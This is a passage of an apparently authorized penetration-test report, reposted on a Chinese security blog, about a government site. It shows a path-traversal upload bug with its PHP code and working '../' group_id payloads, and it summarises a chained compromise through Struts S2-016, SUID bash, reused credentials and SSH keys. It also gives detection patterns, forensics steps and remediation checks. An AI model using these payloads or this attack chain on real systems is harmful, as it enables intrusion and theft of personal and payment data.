应禁止使用注册号或任何可预测值作为初始口令,为每名承包商生成高强度随机初始口令并通过独立安全渠道发送,首次登录强制修改并启用MFA。登录接口需限速、验证码和异常告警,公开承包商列表应实施访问控制和字段最小化。
6.4 V16:news_img路径穿越任意文件写入
|
项目
|
内容
|
|---|---|
|
受影响URL
|
/contractx/backend/function/news_img_conn.php
|
|
受影响参数
|
group_id、img_upload
|
|
漏洞类型
|
路径穿越与任意文件写入
|
|
等级与CVSS
|
中危,5.4
|
|
利用条件
|
需contractx后台管理员会话
|
|
利用状态
|
已在上传目录外写入并回读文件
|
上传代码大致逻辑为:
$group_id=htmlspecialchars($_POST['group_id']);
$dir='../upload/news_img/'.$group_id.'/';
if(!is_dir($dir)){mkdir($dir,0777,true);}
move_uploaded_file($_FILES['img_upload']['tmp_name'],$dir.$random.'.'.$ext);
htmlspecialchars不处理../,group_id可控制最终目录。文件扩展名白名单为png、jpg、jpeg、pdf,文件名由随机6位数字加扩展名生成。
通过公开承包商列表取得注册号并以默认口令登录,再通过project-invoice读取管理员账号;已确认admin-x/********可登录后台。前端JavaScript挑战可通过无头浏览器完成,实测下发的会话为PHPSESSID=,挑战Cookie为wssplashchk=
准备1x1PNG:
printf 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==' | base64 -d > test.png
使用group_id=../pwn_out上传后写入:
/contractx/backend/upload/pwn_out/xxxxxx.png
使用group_id=../../../pwn_root上传后写入:
/contractx/pwn_root/xxxxxx.png
两个文件均为70字节,HTTP返回200,二进制内容与test.png一致。扩展名限制和Web服务器解析策略阻止了PHP命令执行,但路径穿越与任意可写目录文件写入已经成立,可覆盖图片或PDF、写入恶意内容、消耗磁盘,或结合其他漏洞扩大影响。
应对group_id实施只允许字母、数字、下划线与短横线的白名单,禁止点和路径分隔符;使用realpath规范化最终路径,并确认其位于上传基目录;上传目录禁止执行脚本,服务端应校验真实文件类型和文档结构,随机文件名不得受用户控制。
七、跨系统风险复盘
![图片[4]-【实战】对某一国gov主站的授权渗透测试-阻击者联盟](https://blog.h-acker.cn/wp-content/uploads/2026/10/7b59f5e1c120261029180809.png)
图3:16项漏洞的风险分布
7.1 单点问题如何升级为系统性失陷
本次评估确认的核心问题并非某个单一0day,而是多个普通缺陷形成了连续攻击路径:
|
缺陷
|
单独影响
|
与攻击链叠加后的结果
|
|---|---|---|
|
Struts 2 S2-016
|
tomcat命令执行
|
获得ERL主机初始入口
|
|
SUID-root bash
|
本地提权
|
将Web权限升级为root
|
|
配置文件和命令历史保存口令
|
凭据泄露
|
获取系统、数据库和支付权限
|
|
SSH私钥跨主机复用
|
横向移动
|
从前置代理扩展到数据库与同步主机
|
|
系统、数据库和密钥库口令复用
|
单点泄露影响多系统
|
主站后端root与多库控制
|
|
Drupal长期未修补
|
www-data命令执行
|
形成第二条独立内网入口
|
|
Web目录备份和SQL导出
|
源码与账号泄露
|
降低注入和后台接管成本
|
|
默认口令、SQL注入与路径穿越
|
应用层失守
|
投诉与承包商系统全面接管
|
这类风险的关键特征是信任边界被连续跨越。Web用户信任可读取的配置文件,系统账号信任复用口令,SSH目标信任共享私钥,数据库信任过宽的跨库权限。攻击者不需要突破每一层,只需找到一个能连接下一层的弱点。
7.2 关键凭据与数据暴露面
确认的关键凭据和敏感数据包括:
|
类别
|
内容
|
可影响范围
|
|---|---|---|
|
系统账号
|
deploy-x/********
|
192.168.xxx.20与192.168.xxx.40,sudo至root
|
|
数据库
|
db-x/********@192.168.xxx.30:3306
|
main_db、oauth_db、wordpress、phpbb、wrapper_db、web_logs
|
|
Laravel密钥
|
APP_KEY=base64:********
|
会话与加密数据
|
|
支付网关
|
payment.gateway.clientpassword=、payment.gateway.lgpspassword=
|
PayGW支付接口
|
|
JKS
|
trust_store_password=********
|
签名与信任密钥库
|
|
SSH私钥
|
3072位RSA,MD5=[哈希已脱敏]
|
192.168.xxx.10、192.168.xxx.60、192.168.xxx.70
|
|
contractx数据库
|
db-user-x/********
|
contractx_db
|
|
contractx后台
|
admin-x/********、admin-y/********及多个弱口令
|
承包商后台
|
|
投诉管理员
|
后台口令使用弱哈希
|
投诉后台
|
|
投诉业务账号
|
staff-a/********、staff-b/********、staff-c/、staff-d/
|
投诉业务功能
|
主站数据库可访问多个业务库,投诉系统包含约2500条用户记录与约170条投诉记录,contractx库包含47张表和24个后台管理员账号。数据范围涉及姓名、电话、邮箱、投诉内容、承包商信息、项目、发票、员工信息与管理员资料。
7.3 检测与威胁狩猎
边界和Web日志应重点检索:
-
参数名包含redirect:、action:、${或%24%7B的请求;
-
SQL注入特征,包括UNION、SLEEP、information_schema、OR 1=1和反斜杠逃逸;
-
对/db/db.sql、*.zip、*.tar.gz、*.sql和敏感目录列表的异常访问;
主机日志应关注:
-
tomcat或www-data用户执行系统命令、读取/etc/shadow和访问配置目录;
-
新增或权限变化的SUID/SGID文件,特别是/usr/bin/bash2;
-
同一SSH公钥短时间内登录多台主机;
-
ops-x、deploy-x等高权限账号的异常来源、sudo命令和历史登录;
-
Web目录、authorized_keys、crontab和systemd服务的异常变更;
-
ops-x家目录中的.migbak/bd、.cache/net-dhcp和@reboot crontab。
数据库应关注:
-
应用账号跨库访问和批量SELECT;
-
information_schema枚举、UNION查询、SLEEP调用;
-
INTO OUTFILE、LOAD_FILE和高危DDL/DCL操作;
-
oauth_db、web_logs与多站点库的异常访问;
-
大批量用户、管理员、发票和项目数据导出。
7.4 主机取证重点
192.168.xxx.20、192.168.xxx.80、192.168.xxx.10和192.168.xxx.40均应按潜在失陷主机处理。取证顺序应优先保存易失性数据,再固定磁盘与配置证据。
重点采集内存、磁盘、进程、网络连接、登录日志、命令历史和配置差异,并排查webshell、异常crontab、异常systemd服务、可疑二进制、SSH授权记录与数据库新增账号。
前置代理上的两个约6MB的static ELF文件与@reboot crontab条目应与第三方运维记录核对。ERL主机还存在历史渗透遗留痕迹和可疑root二进制,建议完成证据固定后直接重建,降低残留后门风险。
7.5 复测与验证清单
整改完成后,应至少完成以下验证:
-
https://www.gov.xxx/services/erl/ 的S2-016载荷返回400或403,无法执行表达式和系统命令;
-
/usr/bin/bash2不存在或已移除SUID位,tomcat用户无法获得euid=0;
-
data.gov.xxx的#post_render与#markup载荷被拦截,/file/ajax/name/%23value/无法执行命令;
-
/db/db.sql返回404或403,Web目录中无其他SQL、ZIP、TAR和备份文件;
-
投诉系统登录、cid和search参数无法注入,恒真载荷返回登录失败或空结果;
-
reset-password.php必须校验一次性令牌,不能仅凭邮箱和手机号修改口令;
-
contractx.zip、contractx_dil.zip和contractx_new.zip返回404或403,敏感目录列表关闭;
-
project-invoice的prj和inv无法注入,UNION、SLEEP与information_schema请求被阻断;
-
C-xxxxx/********登录失败,所有承包商账号完成随机口令轮换并强制首次修改;
-
news_img的group_id无法包含../,最终路径无法逃逸上传基目录;
-
全部旧口令、旧私钥和旧客户端密钥失效,旧会话与旧令牌无法继续使用;
-
SSH、数据库和后台启用MFA或证书认证,来源限制与审计正常生效;
-
主机取证确认无webshell、异常crontab、异常服务、可疑二进制和未授权SSH条目;
-
关键业务日志、数据库日志与边界日志已接入集中告警,能够检测文中列出的攻击特征;
-
主站代码、数据库内容、配置文件和公开发布内容完成完整性校验,未发现未授权修改。
十、应急响应与数据泄露处置
发现入侵迹象后,应立即隔离受影响主机,同时保留内存、磁盘、日志和网络流量证据。凭据轮换不能替代取证,尤其在共享私钥、APP_KEY、JKS、OAuth客户端和数据库权限同时暴露的情况下,应先确认是否存在持久化、新建账号和二次外联,再按依赖关系分批轮换,避免遗漏旧副本。
数据泄露评估应覆盖main_db、oauth_db、wordpress、phpbb、wrapper_db与web_logs。业务数据范围还包括投诉系统约2500条用户记录、约170条投诉记录,以及contractx的47张表和24个管理员账号。
日志排查应覆盖数据库、SSH、Web、F5和管理后台,确认攻击者是否访问、导出、修改或删除了数据,是否创建账号、令牌、证书或持久化任务。除数据量外,还应关注跨库访问、批量导出与异常时间窗口。
完成遏制后,应重建可疑主机、恢复可信版本、重新签发身份凭据、恢复业务服务并持续观察。对外沟通应由业务、法务、公关和安全团队统一协调,按适用法律法规与政策要求向监管机构、受影响用户和相关方通报。事后复盘应更新威胁模型、检测规则、访问控制、补丁基线和应急预案。
十一、免责与合规声明
本次安全评估在取得相关方明确授权的前提下开展,测试目标、访问范围和操作边界均经过确认。评估过程遵循最小影响与非破坏性原则,不包含未授权入侵、恶意破坏、数据传播或任何影响业务连续性的操作。
本文仅用于授权安全评估、风险复盘、防御建设和安全研究,不构成对任何真实系统实施未授权测试的指引。任何个人或组织不得将文中方法用于违法扫描、入侵、篡改、窃取数据或破坏系统;未经授权实施上述行为可能承担法律责任。读者仅应在自身拥有或已取得明确授权的环境中使用相关技术,并遵守适用法律法规与网络安全管理要求。
— 阅读原文请访问微信公众号「星宇Sec」 · 原文链接 —














暂无评论内容